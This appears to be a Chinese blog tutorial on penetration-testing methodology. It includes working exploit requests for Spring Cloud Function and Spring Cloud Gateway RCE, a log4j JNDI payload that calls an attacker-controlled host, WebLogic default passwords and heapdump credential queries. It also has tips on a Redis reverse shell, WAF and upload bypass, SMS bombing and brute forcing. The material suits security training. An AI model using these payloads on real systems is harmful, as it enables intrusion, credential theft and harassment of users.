渗透测试 – 如何高效率挖掘漏洞

前言

1、做渗透由始至终,忌讳穿插其他项目进行

2、按顺序细心测试每一个功能点,保证漏洞无遗漏

3、山穷水复疑无路,柳暗花明又一村,一个点利用不到,可以灵活变通尝试其他方向

漏扫工具

AWVS

渗透测试 - 如何高效率挖掘漏洞

Xray

渗透测试 - 如何高效率挖掘漏洞

端口扫描

端口扫描可发现系统开放的端口

渗透测试 - 如何高效率挖掘漏洞

21、22、3306 等远程端口,可使用超级弱口令工具或者 railgun 自带模块进行暴力破解

渗透测试 - 如何高效率挖掘漏洞

6379 端口可以尝试 redis 未授权,使用计划任务等方式弹 shell

渗透测试 - 如何高效率挖掘漏洞
渗透测试 - 如何高效率挖掘漏洞
渗透测试 - 如何高效率挖掘漏洞

8080 端口可尝试 tomcat 弱口令部署 war 包 getshell

渗透测试 - 如何高效率挖掘漏洞
渗透测试 - 如何高效率挖掘漏洞

目录扫描

通过目录扫描可以发现系统中存在的脆弱性问题,方便我们进行下一步渗透

对于一些 403 的页面,可以进行二级目录扫描

dirsearch

渗透测试 - 如何高效率挖掘漏洞

Jsfinder

渗透测试 - 如何高效率挖掘漏洞

识别系统使用框架

可通过指纹工具识别出所使用的框架或者产品

Wappalyzer

渗透测试 - 如何高效率挖掘漏洞

tidefinger

渗透测试 - 如何高效率挖掘漏洞

CMS 二次开发站点

通过目录扫描发现带有 cms 标识残留页面或者通过图标判断出

渗透测试 - 如何高效率挖掘漏洞

通过漏洞库查找相关未修复的漏洞

渗透测试 - 如何高效率挖掘漏洞

struts2

一般使用 struts2 框架后缀带 do 或 action,可以尝试进行利用

渗透测试 - 如何高效率挖掘漏洞

后缀为 action,可能使用了 struts2 框架,使用工具尝试进行利用

渗透测试 - 如何高效率挖掘漏洞

命令执行成功

渗透测试 - 如何高效率挖掘漏洞

shiro

shiro 框架识别可通过数据包中是否含有 rememberme 字段进行判断

渗透测试 - 如何高效率挖掘漏洞

登录抓取数据包,发现存在 rememberme 字段,判断为 shiro 框架,尝试进行

渗透测试 - 如何高效率挖掘漏洞

检测当前密钥和利用链是否存在

渗透测试 - 如何高效率挖掘漏洞

两者存在利用成功

渗透测试 - 如何高效率挖掘漏洞

在攻防演练里 getshell 后还可以对 key 进行修改,防止其他队伍得分

渗透测试 - 如何高效率挖掘漏洞

使用潘神的一键改 key 工具,可看到 key 已经被修改

渗透测试 - 如何高效率挖掘漏洞

weblogic

框架识别

访问 7001 端口出现下面这种截图,可能存在 weblogic 漏洞

渗透测试 - 如何高效率挖掘漏洞

使用 weblogic 漏洞利用工具,检测是否存在漏洞

渗透测试 - 如何高效率挖掘漏洞

执行命令

渗透测试 - 如何高效率挖掘漏洞

weblogic 弱口令

输入 console 可跳转至登录界面,可以测试是否使用默认口令

system/password
weblogic/weblogic
admin/security
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
渗透测试 - 如何高效率挖掘漏洞

springboot

框架识别

1、通过 web 应用程序网页标签的小绿叶图标(favicon.ico)

2、通过 springboot 框架默认报错页面

渗透测试 - 如何高效率挖掘漏洞

目录扫描接口

推荐章神的 railgun,有对应的 springboot 字典

渗透测试 - 如何高效率挖掘漏洞
/env、/actuator/env
GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文,同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。

/refresh、/actuator/refresh
POST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。

/restart、/actuator/restart
暴露出此接口的情况较少;可以配合 POST请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。

/jolokia、/actuator/jolokia
可以通过 /jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。

/trace、/actuator/httptrace
一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie等信息。

springboot exploit

目标地址填入要测试的 url,点击检测环境,然后点击检测当前利用链

渗透测试 - 如何高效率挖掘漏洞
java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1234 -p 8988 -i 0.0.0.0
服务器地址填入目标地址,选择相应的端口
渗透测试 - 如何高效率挖掘漏洞

heapdump 密码获取

/heapdump
/actuator/heapdump

使用 Eclipse Memory Analyzer 进行分析

http://www.eclipse.org/downloads/download.php?file=/mat/1.12.0/rcp/MemoryAnalyzer-1.12.0.20210602-win32.win32.x86_64.

select s from java.lang.String s where /pass/.test(s.value.toString())
select * from org.springframework.web.context.support.StandardServletEnvironment
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
渗透测试 - 如何高效率挖掘漏洞

springboot function spel rce

发送 poc,成功执行命令

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

xxx
渗透测试 - 如何高效率挖掘漏洞

springboot gateway

添加一个路由

POST /actuator/gateway/routes/test HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

刷新令路由生效

POST /actuator/gateway/refresh HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

访问触发漏洞

GET /actuator/gateway/routes/test HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

删除路由

DELETE /actuator/gateway/routes/test HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Length: 4
渗透测试 - 如何高效率挖掘漏洞

工具检测

https://github.com/chaosec2021/CVE-2022-22947-POC

渗透测试 - 如何高效率挖掘漏洞

log4j

https://github.com/f0ng/log4j2burpscanner

渗透测试 - 如何高效率挖掘漏洞
java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1234 -p 8988 -i 0.0.0.0
payload=${jndi:ldap://vps地址:1234/TomcatBypass/TomcatEcho}
渗透测试 - 如何高效率挖掘漏洞

常见功能点漏洞

SQL 注入挖掘

遇到参数后面带数字的,可以使用 1=1、1=2 判断是否存在 sql 注入

渗透测试 - 如何高效率挖掘漏洞
渗透测试 - 如何高效率挖掘漏洞

抓取数据包,使用 sqlmap 进行注入测试

渗透测试 - 如何高效率挖掘漏洞

测试成功

渗透测试 - 如何高效率挖掘漏洞

但在测试过程中可能会遇到被 waf 拦截的情况

渗透测试 - 如何高效率挖掘漏洞

可以 fuzz 被拦截的字符,有针对性进行绕过

渗透测试 - 如何高效率挖掘漏洞

api 接口账密信息泄露

通过查看系统的 js 文件,检索字段如 id、pass、url 等关键字

渗透测试 - 如何高效率挖掘漏洞
渗透测试 - 如何高效率挖掘漏洞

接口参数发现

常见于任意文件读取、下载、包含漏洞

arjun+fuzz

渗透测试 - 如何高效率挖掘漏洞

知道参数为 file 构造 https://10.10.10.127/system_wws/include.php?file= 使用字典对可读取文件进行 fuzz

渗透测试 - 如何高效率挖掘漏洞
渗透测试 - 如何高效率挖掘漏洞

敏感信息泄露

通过对某个字段进行置空,回显数据包中泄露了大量的手机号、姓名、住址等敏感信息

渗透测试 - 如何高效率挖掘漏洞

越权漏洞

通过修改 post 数据包字段的数值,可进行越权操作,查看其他用户的个人信息

https://pizz33.github.io/images/image-20220331133121580.png

渗透测试 - 如何高效率挖掘漏洞

短信问题

短信轰炸

对数据包进行重放,实现单用户收到多条短信的效果

短信定向转发

对数据包中的手机号进行遍历,实现一条短信转发给多个用户效果

渗透测试 - 如何高效率挖掘漏洞
渗透测试 - 如何高效率挖掘漏洞

未授权访问

https://github.com/rtcatc/Packer-Fuzzer

渗透测试 - 如何高效率挖掘漏洞
渗透测试 - 如何高效率挖掘漏洞

文件上传

黑名单过滤 php 后缀,尝试 php3、php5、phtml 等进行绕过

渗透测试 - 如何高效率挖掘漏洞

存在文件解析漏洞,比如 apache 的从右往左进行解析,可添加.xxx 进行绕过

渗透测试 - 如何高效率挖掘漏洞

fuzz 其他上传接口比如 file、upload、uploadfile 等,可能会存在其他接口不检验的问题,但实战中很少

暴力破解

之前我们一般暴力破解都是以 admin 为账号,去爆破 top1000 的字典,去根据状态码、长度筛选爆破结果

渗透测试 - 如何高效率挖掘漏洞

但是 admin 管理员账户一般是强口令,很难进行爆破,且部分密码进行加密,寻找 js 解密耗费时间久,对于 admin 建议尝试几个 admin123、123456 这些,如果没有的话我们应该选择其他的思路,固定密码 123456、000000 去爆破姓名拼音用户名

渗透测试 - 如何高效率挖掘漏洞

凑洞环节

后台地址泄露

渗透测试 - 如何高效率挖掘漏洞

不安全的 http 请求方式

渗透测试 - 如何高效率挖掘漏洞

垃圾数据写入

渗透测试 - 如何高效率挖掘漏洞

用户名枚举

渗透测试 - 如何高效率挖掘漏洞
渗透测试 - 如何高效率挖掘漏洞
渗透测试 - 如何高效率挖掘漏洞

中间件版本信息泄露

渗透测试 - 如何高效率挖掘漏洞

多点会话登录

渗透测试 - 如何高效率挖掘漏洞

© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容